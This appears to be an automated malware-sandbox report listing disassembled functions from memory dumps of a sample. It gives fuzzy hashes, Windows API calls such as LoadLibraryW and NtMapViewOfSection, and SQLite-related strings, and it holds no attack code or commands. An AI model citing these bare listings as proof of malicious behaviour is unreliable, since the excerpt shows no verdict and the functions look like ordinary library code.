Opcode Fuzzy Hash: 4bc46c8122d7ec2c0d3e85d99e06002b58141c25f7dac85a939e33f12ea64f0c
Instruction Fuzzy Hash: 83E0B6B550531DAFCB00CF09D880ACABBA8FB08260F10811AFD145B300C371E910CBE0

Function 61E2D635 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce01ef94e47e0f3b5e3022edffbc238ed3a861089da3a055ee794e226609d537
Instruction ID: e794d2b72a1fc6c6090aef49fcd2ae8b4ab6f64d521491744c60cc3bf2b3839a
Opcode Fuzzy Hash: ce01ef94e47e0f3b5e3022edffbc238ed3a861089da3a055ee794e226609d537
Instruction Fuzzy Hash: 8ED092B8909349AFCB00EF29C48544EBBE4BF88258F40C82DFC98C7311E274E8408F92

Function 61E038DC Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40af0c36dbf5a0f884e18cc3b6e49f381d70d038c9458a678f14876bb3249447
Instruction ID: 5d8a4dcf50b240acca679c383b9083a7302e11f974503154b2c6ec1cc823b236
Opcode Fuzzy Hash: 40af0c36dbf5a0f884e18cc3b6e49f381d70d038c9458a678f14876bb3249447
Instruction Fuzzy Hash: D9C01230244308CFEB40CAAED480A62B3E9BB44A24F50C0A0E808CB340DA30F9118690

Function 61E038CA Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40cad0428ba2cec2f3835856280400d4fd42dbc754fd2a6d6e7cded720f8f0bd
Instruction ID: 67d68dba2000bb8482a24fc023f268fc16b477c73c548bd02e1b99648bc578f6
Opcode Fuzzy Hash: 40cad0428ba2cec2f3835856280400d4fd42dbc754fd2a6d6e7cded720f8f0bd
Instruction Fuzzy Hash: C9B09B2071430D565708CE549440977779DB784905724C455D81C85505E735E59152D0

Function 61E037F3 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c758f56ce800b0edb1a3b6b4920dd8d203c929418ffadd695cc457fe8d80d330
Instruction ID: de6271d013a038b850d850acc4260bf908e6486e870890920c4c51f453ae2ee2
Opcode Fuzzy Hash: c758f56ce800b0edb1a3b6b4920dd8d203c929418ffadd695cc457fe8d80d330
Instruction Fuzzy Hash: C7B0123B11030CCB4700DD0DD441CC1B3D8F708E127C104D0E41087701D669F800C685

Function 61E0FD8A Relevance: 30.3, APIs: 13, Strings: 7, Instructions: 320COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FDAF
memcmp.MSVCRT ref: 61E0FE00
memcmp.MSVCRT ref: 61E10580

Strings

ive, xrefs: 61E1063A
ous, xrefs: 61E10618
ance, xrefs: 61E103AD
ate, xrefs: 61E105D5
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ize, xrefs: 61E1065C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: 9706f2438f5f9958a9f504a1a89414024658d7dc0fe24dd8d85b57cc53bebf8a
Instruction ID: 14175bb5b9193900e4a9b0b479f9e4e43aad601f0e58a5cb96228bda6cff1173
Opcode Fuzzy Hash: 9706f2438f5f9958a9f504a1a89414024658d7dc0fe24dd8d85b57cc53bebf8a
Instruction Fuzzy Hash: D0D127B0E09306CBDB01DF94C58269EBBF4AF85348F31C81AD8909B354D779D9668B92

Function 61E0FFDF Relevance: 28.8, APIs: 12, Strings: 7, Instructions: 293COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E10004
memcmp.MSVCRT ref: 61E10036
memcmp.MSVCRT ref: 61E1006E
memcmp.MSVCRT ref: 61E101F8
memcmp.MSVCRT ref: 61E103BB
memcmp.MSVCRT ref: 61E10580
memcmp.MSVCRT ref: 61E10669
memcmp.MSVCRT ref: 61E1070B

Strings

ive, xrefs: 61E1063A
ous, xrefs: 61E10618
ance, xrefs: 61E103AD
ate, xrefs: 61E105D5
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ize, xrefs: 61E1065C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: b669a7a1187de0fce9b6595f66bcea219431e2422beeabc80f0d4f1047ca061f
Instruction ID: 8af95de5a1172c954fa437990dc91da2b279e7fac1ed370a937824a3edc9c215
Opcode Fuzzy Hash: b669a7a1187de0fce9b6595f66bcea219431e2422beeabc80f0d4f1047ca061f
Instruction Fuzzy Hash: EFC137B0E0C3068BDB009F94C58269EBBF4AF85348F31C81EE894DB754D779D5A68B52

Function 61E0FEFD Relevance: 27.3, APIs: 11, Strings: 7, Instructions: 287COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FF1E
memcmp.MSVCRT ref: 61E0FF6B
memcmp.MSVCRT ref: 61E0FFB2
memcmp.MSVCRT ref: 61E10580

Strings

ive, xrefs: 61E1063A
ous, xrefs: 61E10618
ance, xrefs: 61E103AD
ate, xrefs: 61E105D5
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ize, xrefs: 61E1065C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: ed99b8ed2c93518955057c8a185e88c665ba01599eeeff3c7ab09e33224a8f47
Instruction ID: 3235e3b978ee00cfabdc0942405c464718558a8f08fb1430455de202698b3b76
Opcode Fuzzy Hash: ed99b8ed2c93518955057c8a185e88c665ba01599eeeff3c7ab09e33224a8f47
Instruction Fuzzy Hash: 1EC127B0D083068BDB00DF94C58269EBBF4AF85348F31C81ED890DB754D779D9A68B92

Function 61E100D7 Relevance: 27.3, APIs: 11, Strings: 7, Instructions: 280COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E100FC
memcmp.MSVCRT ref: 61E10131
memcmp.MSVCRT ref: 61E10580

Strings

ive, xrefs: 61E1063A
ous, xrefs: 61E10618
ance, xrefs: 61E103AD
ate, xrefs: 61E105D5
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ize, xrefs: 61E1065C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: 5306eb8679e29c7ccae58c152c61b3cb2e43ab0ad82d1b8259ffa351aff7fd54
Instruction ID: a6745917a23cee73da34d97950539bfd860ce037a133a9b2c34405b562b65f13
Opcode Fuzzy Hash: 5306eb8679e29c7ccae58c152c61b3cb2e43ab0ad82d1b8259ffa351aff7fd54
Instruction Fuzzy Hash: 90C127B0E083068BDB00DF94C58669EBBF4AF85348F31C81ED890DB754D779D5A68B92

Function 61E0FBCF Relevance: 25.8, APIs: 10, Strings: 7, Instructions: 268COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FBF0
memcmp.MSVCRT ref: 61E0FC37
memcmp.MSVCRT ref: 61E10580

Strings

ive, xrefs: 61E1063A
ous, xrefs: 61E10618
ance, xrefs: 61E103AD
ate, xrefs: 61E105D5
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ize, xrefs: 61E1065C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: e540365b7fd7f9443dd82ee147f8b9093e47f334e53584792075e5945152a348
Instruction ID: 60f9232e79ba8c46656df14b30f4429a15bc78d1e5e1648a3d40d26d176db9d4
Opcode Fuzzy Hash: e540365b7fd7f9443dd82ee147f8b9093e47f334e53584792075e5945152a348
Instruction Fuzzy Hash: 6EB128B0D0D3068BDB00CF94C58669EBBF4AF85348F31C81AD890DB754D779D9A68B92

Function 61E0FC61 Relevance: 25.8, APIs: 10, Strings: 7, Instructions: 259COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FC86
memcmp.MSVCRT ref: 61E0FCBF
memcmp.MSVCRT ref: 61E10580

Strings

ive, xrefs: 61E1063A
ous, xrefs: 61E10618
ance, xrefs: 61E103AD
ate, xrefs: 61E105D5
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ize, xrefs: 61E1065C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: 0a817a664abe7669e1f9b819d607d3cf4ee08d2d7d4e2fd3f7bc486b0ed951a3
Instruction ID: 2b4bda0a5a7416114e6a254efe1c2f62446bd14a06bd16ad799116575b7de764
Opcode Fuzzy Hash: 0a817a664abe7669e1f9b819d607d3cf4ee08d2d7d4e2fd3f7bc486b0ed951a3
Instruction Fuzzy Hash: 03B126B0D0C3068BDB00DF94C58269EBBF4AF85348F31C81AD890DB754D779D9A68B92

Function 6D2A9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6D2931C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6D293217
Part of subcall function 6D2931C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6D293236
Part of subcall function 6D2931C0: FreeLibrary.KERNEL32 ref: 6D29324B
Part of subcall function 6D2931C0: __Init_thread_footer.LIBCMT ref: 6D293260

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6D2A9675
__Init_thread_footer.LIBCMT ref: 6D2A9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6D2A96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6D2A9707
__Init_thread_footer.LIBCMT ref: 6D2A971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6D2A9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6D2A97B7
FreeLibrary.KERNEL32 ref: 6D2A97D0
FreeLibrary.KERNEL32 ref: 6D2A97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6D2A9824

Strings

MapViewOfFileNuma2, xrefs: 6D2A97B1
ntdll.dll, xrefs: 6D2A96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6D2A9670
NtMapViewOfSection, xrefs: 6D2A9701

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc$ErrorLast
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 442587801-3880535382
Opcode ID: 413bec7535717351d63a1f598b1da2868ae34852cc53fd5211d5d19f35133ed0
Instruction ID: f89efeab8032df753bb200047e97a1ad2a63afc2943ea1763c8bf6c4a1305419
Opcode Fuzzy Hash: 413bec7535717351d63a1f598b1da2868ae34852cc53fd5211d5d19f35133ed0
Instruction Fuzzy Hash: B061E4B254830BAFDF00DF25DC85B6A7BB9FB4A355F044229E92597380D731D864CBA2

Function 61E0FD37 Relevance: 24.2, APIs: 9, Strings: 7, Instructions: 248COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FD5C
memcmp.MSVCRT ref: 61E101F8
memcmp.MSVCRT ref: 61E103BB
memcmp.MSVCRT ref: 61E10580
memcmp.MSVCRT ref: 61E10669
memcmp.MSVCRT ref: 61E1070B

Strings

ive, xrefs: 61E1063A
ous, xrefs: 61E10618
ance, xrefs: 61E103AD
ate, xrefs: 61E105D5
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ize, xrefs: 61E1065C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: c54270305458f61258e2551f56d469756e9d85375da6b675864f5ba64181ee46
Instruction ID: c635636e61c9daa50d7aef90f17bbd02a00a8acd362d6d180f064c5e09d29bb5
Opcode Fuzzy Hash: c54270305458f61258e2551f56d469756e9d85375da6b675864f5ba64181ee46
Instruction Fuzzy Hash: B0A126B0D0C306CBDB00CF94C58669EBBF4AB85348F31C81AD894DB754D779D9A68B92

Function 61E0FCE9 Relevance: 24.2, APIs: 9, Strings: 7, Instructions: 248COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FD0E
memcmp.MSVCRT ref: 61E101F8
memcmp.MSVCRT ref: 61E103BB
memcmp.MSVCRT ref: 61E10580
memcmp.MSVCRT ref: 61E10669
memcmp.MSVCRT ref: 61E1070B

Strings

ive, xrefs: 61E1063A
ous, xrefs: 61E10618
ance, xrefs: 61E103AD
ate, xrefs: 61E105D5
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ize, xrefs: 61E1065C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: c1250c06479d443b50863cfaca24b1a96d4c7a6c86a02d8b32de734b66d4155d
Instruction ID: 52be5bc32e4a241d7d631e7d354cb647d2df2ea9c6509ea900c66bb21baa7349
Opcode Fuzzy Hash: c1250c06479d443b50863cfaca24b1a96d4c7a6c86a02d8b32de734b66d4155d
Instruction Fuzzy Hash: 9DA127B0D0C306CBDB00DF94C58669EBBF4AB85348F31C81AD890DB754D779D9A68B92

Function 6D2BC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6D2BC5A3
WideCharToMultiByte.KERNEL32 ref: 6D2BC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6D2BC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6D2BCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D2BCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D2BCAA5

Strings

0, xrefs: 6D2BD30A
(null), xrefs: 6D2BC596

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 291cea0837f738da1d32fa9c938a479f50fda3b1927de87af08ab8cbace0d6e6
Instruction ID: c7fe3223aff2db264fb05317baea152597884343ddaa0be65e9f10eee26ab2d2
Opcode Fuzzy Hash: 291cea0837f738da1d32fa9c938a479f50fda3b1927de87af08ab8cbace0d6e6
Instruction Fuzzy Hash: CFA1AF306583479FDB01CF28C554B6ABBF5BFC9789F04882DE89A97242D7B1D805CB92

Function 61E970B9 Relevance: 16.9, APIs: 1, Strings: 10, Instructions: 447COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E97281

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

UPDATE main., xrefs: 61E9730B
idx IS CASE WHEN length(?4)=0 AND typeof(?4)='blob' THEN NULL ELSE ?4 END , xrefs: 61E975CB
bua, xrefs: 61E97368
IS ?, xrefs: 61E975EC
= ?, xrefs: 61E97571
SET , xrefs: 61E9732E
bua, xrefs: 61E9733E
AND , xrefs: 61E97604
WHERE , xrefs: 61E97357
sqlite_stat1, xrefs: 61E97504

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
